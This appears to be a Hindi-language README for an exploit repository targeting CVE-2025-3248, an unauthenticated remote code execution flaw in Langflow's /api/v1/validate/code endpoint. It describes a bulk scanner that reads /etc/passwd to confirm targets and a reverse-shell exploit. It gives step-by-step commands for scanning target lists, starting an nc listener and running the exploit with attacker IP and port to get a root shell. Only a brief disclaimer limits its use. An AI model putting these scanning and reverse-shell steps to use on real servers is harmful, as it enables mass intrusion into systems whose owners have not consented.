CVE-2025-3248: Langflow बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE)

इस रिपॉजिटरी में दो Python स्क्रिप्ट्स हैं:

LangflowCheck.py: एक स्कैनर जो CVE-2025-3248 के लिए कमजोर Langflow AI इंस्टेंस की जाँच करता है।
exploit.py: कमजोर Langflow लक्ष्यों के लिए एक काम करने वाला रिवर्स शेल एक्सप्लॉइट।

सारांश

CVE-2025-3248 Langflow AI में एक गंभीर कमजोरी है जो बिना प्रमाणीकरण के हमलावरों को /api/v1/validate/code पर एक तैयार पेलोड भेजकर दूरस्थ रूप से मनमाना Python कोड निष्पादित करने की अनुमति देती है।

फ़ाइलें

`LangflowCheck.py`

एक हानिरहित पेलोड निष्पादित करके लक्ष्य की कमजोरी की जाँच करता है जो /etc/passwd पढ़ता है।
एकल लक्ष्य या URL की सूची को स्कैन कर सकता है।
कमजोर लक्ष्यों को एक फ़ाइल में आउटपुट करने का समर्थन करता है।

`exploit.py`

कमजोर एंडपॉइंट पर एक रिवर्स शेल पेलोड भेजता है।
हमलावर IP (lhost) और लिसनर पोर्ट (lport) की आवश्यकता होती है।
गतिविधि exploit.log में लॉग करता है।
पेलोड भेजने से पहले लिसनर जाँच का समर्थन करता है।

उपयोग

1. आवश्यकताएँ स्थापित करें

pip install -r requirements.txt

2. कमजोरी स्कैनर चलाएँ

एकल URL

python3 LangflowCheck.py --url http://target.com --output vulnerable_target.txt

एकाधिक लक्ष्य

python3 LangflowCheck.py --file targets.txt --output vulnerable_targets.txt

3. एक लक्ष्य का शोषण करें

पहले, एक लिसनर शुरू करें

sudo nc -nvlp 4444

फिर, एक्सप्लॉइट चलाएँ:

python3 exploit.py --target http://target.com --lhost YOUR_IP --lport 4444

यदि लक्ष्य कमजोर है तो आपको एक शेल प्राप्त होना चाहिए। root

⚠️ अस्वीकरण

यह एक्सप्लॉइट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए है। उन प्रणालियों के खिलाफ उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।

CVE-2025-3248

सबसे लोकप्रिय